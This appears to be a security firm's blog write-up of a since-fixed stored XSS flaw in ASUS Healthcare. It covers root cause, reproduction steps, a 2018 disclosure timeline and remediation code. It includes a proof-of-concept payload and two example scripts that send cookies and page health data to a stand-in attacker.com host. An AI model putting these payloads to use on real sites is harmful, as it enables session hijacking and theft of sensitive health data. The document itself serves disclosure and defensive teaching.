Stored Cross-Site Scripting in ASUS Healthcare Subdomain

Overview

ASUS Healthcare is a health data management platform that was designed to help end users track and manage their own health data, as well as that of their family members and friends. Users could sync data from wearable devices and IoT health devices to maintain comprehensive health records. However, as of 2021, the web application was discontinued. During its operation, a critical stored Cross-Site Scripting (XSS) vulnerability was discovered that could allow attackers to inject malicious JavaScript code into the platform, affecting all users who viewed the compromised health data.

What is Stored Cross-Site Scripting?

Stored XSS, also known as persistent XSS, occurs when an attacker injects malicious code into a web application that gets permanently stored in the database. Unlike reflected XSS which requires the victim to click a malicious link, stored XSS is automatically executed whenever any user accesses the compromised data. This makes stored XSS particularly dangerous because the attack is indirect—victims don't need to take any action; simply viewing a page triggers the malicious code.

The attack flow is straightforward:

Attacker injects malicious JavaScript code through an input field
The application stores this code without sanitization
When other users view this data, the malicious code executes in their browser
The attacker can steal cookies, session tokens, personal information, or perform actions on behalf of the victim

The ASUS Healthcare Vulnerability

The Root Cause

ASUS Healthcare's vulnerability stemmed from a fundamental security oversight: the application lacked proper input sanitization and output encoding. When users entered health data—whether notes, measurements, or personal observations—the application accepted and stored the data exactly as provided, with no filtering or validation. When this data was later displayed to users, it was rendered directly into the HTML without any encoding, allowing injected scripts to execute.

How the Vulnerability Worked

The vulnerability existed in the health statistics entry mechanism. Users could enter custom notes or observations alongside their health data. An attacker could craft a malicious input like:

<script>
  // Steal user session cookie
  fetch('https://attacker.com/steal?cookie=' + document.cookie);

  // Or redirect to phishing page
  window.location = 'https://fake-asus-health.com/login';
</script>

When this data was stored and later viewed by other users, the JavaScript code would execute in their browsers with full access to:

Session cookies and authentication tokens
Personal health information displayed on the page
The ability to perform actions on behalf of the user
The ability to create additional malicious entries

Vulnerability Details

Attack Scenarios

This vulnerability could be exploited in several ways:

Session Hijacking: Steal authentication tokens to gain unauthorized access to user accounts
Credential Theft: Display fake login forms to capture user credentials
Malware Distribution: Redirect users to malicious websites hosting malware
Data Exfiltration: Extract sensitive health information and transmit it to attacker servers
Account Takeover: Perform actions on behalf of compromised users
Privilege Escalation: If an admin user viewed malicious data, attackers could escalate privileges

Why This Was Particularly Dangerous

Health data is extremely sensitive. The ASUS Healthcare platform contained:

Personal health measurements and metrics
Medical conditions and treatments
Medication information
Doctor's notes and prescriptions
Family health history
Intimate health-related information

An attacker exploiting this vulnerability could access, modify, or exfiltrate any of this sensitive information not just for one user, but for their entire family network. In a healthcare context, this vulnerability wasn't just a security issue—it was a privacy and compliance nightmare.

Discovery and Analysis

The vulnerability was discovered through manual security testing of the health data input and display mechanisms. The lack of input validation became apparent when special characters and HTML/JavaScript tags were accepted without any filtering or escaping.

Testing revealed that:

Any HTML and JavaScript code entered in health data fields was accepted
No server-side validation checked for malicious patterns
No client-side encoding was applied when displaying the data
No Content Security Policy (CSP) headers were implemented to prevent script execution
No input sanitization library was being used

Impact Assessment

Severity Analysis

This vulnerability represents a Critical severity issue due to:

Stored persistence: The attack persists permanently in the database
Automatic execution: No user interaction required to trigger the malicious code
Sensitive data: Health information is highly regulated and valuable
Broad reach: All users viewing the data are affected, not just a single victim
Multiple attack vectors: Can be used for theft, fraud, and data exfiltration

Who Was Affected

All ASUS Healthcare users who had contact with the platform
Any user who viewed health data entries from other users
Family members sharing health records
Family networks connected through the platform
Potentially millions of health records if the platform had significant adoption

Potential Consequences

Security Risks:

Unauthorized access to health data of multiple users
Session hijacking and account takeover
Theft of authentication tokens and credentials
Infection with malware or spyware

Privacy & Compliance Risks:

Violation of HIPAA (Health Insurance Portability and Accountability Act)
Breach of GDPR requirements for personal data protection
Exposure of sensitive health information
Potential liability and legal consequences
Damage to user trust and platform reputation

Health & Safety Risks:

Medical records could be altered, affecting healthcare decisions
Patients might receive incorrect treatment based on modified data
Potential harm to users if health information is manipulated

Steps to Replicate

For security researchers and testers who want to understand how this vulnerability could be exploited, here are the detailed reproduction steps:

Reproduction Steps

Login and Navigate to Dashboard: Access your ASUS Healthcare account and go to the main dashboard section

Access Blood Sugar Measurement Panel: Locate the Blood Sugar Measurement panel on the dashboard

Click Add New Data: Click the '+' button to add a new blood sugar measurement entry

Fill in Required Information: Supply all necessary measurement information including:

- Date and time of measurement

- Blood sugar reading

- Any other required fields

Enable Medicine Field: Check the "Medicine Before Measurement" checkbox to enable the medicine input field

Inject Malicious Payload: In the medicine input field, enter the following payload instead of legitimate medication information:

"><img src=x onerror=prompt(1)>

Submit the Entry: Click the "+Add" button to save the malicious entry

Verify Vulnerability Execution: Navigate back to your profile or view the health data entry you just created. When the page loads with your malicious data, an alert box will pop up, confirming that the injected JavaScript executed successfully.

What This Demonstrates

This reproduction demonstrates several key points about the vulnerability:

No Input Validation: The application accepted a payload that was clearly not legitimate medical data
No Output Encoding: When the data was displayed, the HTML was interpreted as executable code rather than text
Persistent Storage: The malicious code remained in the database and executed every time the data was viewed
No Security Filtering: The application had no filters or sanitization libraries protecting against XSS attacks

Proof of Concept

Official Statement from ASUS

ASUS acknowledged the vulnerability with the following statement:

"Injection of scripts was possible." — ASUS

This concise acknowledgment confirmed that the application did indeed lack proper input sanitization and was vulnerable to script injection attacks through user-supplied data.

Attack Payload Example

The payload used in the reproduction steps demonstrates the vulnerability simply:

"><img src=x onerror=prompt(1)>

This payload breaks out of any HTML context and injects an image tag that triggers JavaScript when it fails to load. When any user views this entry, an alert box pops up, confirming the vulnerability.

More sophisticated attacks could be used instead:

<script>
  // Steal session cookie
  new Image().src = 'https://attacker.com/log?data=' + btoa(document.cookie);

  // Steal health data from page
  const healthData = document.body.innerText;
  fetch('https://attacker.com/data', {
    method: 'POST',
    body: JSON.stringify({ data: healthData })
  });
</script>

This code would silently exfiltrate the user's session information and health data to an attacker-controlled server without the user's knowledge or consent.

Video Demonstration

A detailed video proof of concept has been created demonstrating the vulnerability in action:

Video Demonstration: Watch on YouTube

The video shows:

Accessing the ASUS Healthcare dashboard
Navigating to the Blood Sugar Measurement panel
Adding a new health measurement entry
Injecting the malicious XSS payload into the medicine field
Submitting the entry to the database
Viewing the stored data and witnessing the JavaScript execution
The alert box confirming successful code injection

This video serves as clear documentation of how easily the vulnerability could be exploited and the direct impact it had on user security.

Disclosure Timeline

The vulnerability was handled responsibly through a coordinated disclosure process with ASUS.

February 18, 2018 — Report Submitted

The vulnerability was initially reported to ASUS through their security disclosure program. Detailed information about the vulnerability, reproduction steps, and proof of concept were provided.

February 21, 2018 — Triaged (3 days later)

ASUS received and triaged the security report, confirming the vulnerability and assigning it to the appropriate team for remediation.

March 08, 2018 — Security Issue Fixed (20 days after triage)

ASUS successfully deployed a patch to fix the stored XSS vulnerability. The fix included proper input sanitization and output encoding to prevent script injection in health data fields.

March 15, 2018 — Entered ASUS Hall-of-Fame (49 days total)

ASUS recognized the responsible disclosure and security research by inducting the researcher into their Hall of Fame. This recognition acknowledges the professional manner in which the vulnerability was reported and the importance of the security finding. The entire process from discovery to recognition took 49 days, demonstrating ASUS's commitment to addressing security vulnerabilities promptly.

The Root Cause Analysis

Why Sanitization Wasn't Implemented

Several development practices likely led to this vulnerability:

Missing Security Requirements: No security specifications during development
No Input Validation Framework: Development team didn't use a sanitization library
Incomplete Testing: Security testing wasn't part of the QA process
Misunderstanding of Health Data: Developers assumed health data would always be legitimate

Common Misconception

Many developers assume that only certain input fields need protection (like login forms). In reality, every user input needs validation and sanitization, regardless of where it appears in the application. Just because data is entered in a "health statistics" field doesn't mean it can be trusted.

How to Fix Stored XSS Vulnerabilities

1. Input Sanitization

Sanitize all user input server-side using established libraries:

// Using DOMPurify (client-side example)
const userInput = document.getElementById('healthNote').value;
const clean = DOMPurify.sanitize(userInput);
saveHealthData(clean);

// Using libraries like xss package in Node.js
const xss = require('xss');
const sanitized = xss(userInput, {
  whiteList: {}, // No HTML tags allowed
  stripIgnoredTag: true
});

2. Output Encoding

When displaying data, encode it properly:

// Bad: Directly inserting HTML
document.getElementById('display').innerHTML = userData;

// Good: Using text content or proper encoding
document.getElementById('display').textContent = userData;
// Or if HTML needed:
document.getElementById('display').innerHTML = DOMPurify.sanitize(userData);

3. Content Security Policy

Implement CSP headers to prevent inline script execution:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';

4. Use Templating Engines

Use templating engines that auto-escape output by default:

// Express with EJS auto-escapes by default
app.render('template', { userInput: data }, (err, html) => {
  // Data is automatically escaped
});

Lessons Learned

For Security Testers

Never assume certain data fields are "safe" to skip in security testing
Health and financial data requires extra scrutiny
Test both input validation and output encoding
Look for data stored from one user and displayed to another (stored XSS scenarios)

For Developers

Always sanitize input: Treat all user input as potentially malicious
Always encode output: Even if input is sanitized, encode when displaying
Use security libraries: Don't write custom sanitization code
Implement CSP headers: Provide an additional layer of defense
Security training: Developers need understanding of XSS and other OWASP Top 10 vulnerabilities

For Organizations

Include security in requirements: Security must be planned, not patched
Security testing: Perform regular security audits and penetration tests
Regulatory compliance: Especially for health and financial data, follow compliance requirements
Incident response plan: Have a process for responding to security issues
User transparency: Notify users promptly if their data may have been compromised

Impact on Users

While ASUS Healthcare was discontinued as of 2021, this vulnerability illustrates the importance of security in health-related applications. Users who relied on the platform faced potential exposure of their most intimate health information. The platform's discontinuation raises questions about what happened to user data and whether users were properly notified of the vulnerability.

Conclusion

Stored Cross-Site Scripting vulnerabilities in health platforms represent a critical risk to user privacy and safety. The ASUS Healthcare vulnerability demonstrates how the absence of basic security practices—input sanitization and output encoding—can lead to severe consequences. In the healthcare industry, where data sensitivity and regulatory compliance are paramount, such oversights are particularly problematic.

The good news is that stored XSS is easily preventable with proper development practices. By implementing input sanitization, output encoding, and Content Security Policy headers, organizations can effectively eliminate this class of vulnerability. However, prevention requires that security be built into the development process from the start, not added as an afterthought.

For any application handling sensitive data—especially health information—security must be a core requirement, not an optional feature.

---

At NorthQA, we specialize in comprehensive security testing and vulnerability discovery. If your healthcare application or health-related platform needs security assessment, contact us to discuss how we can help ensure your users' data is protected.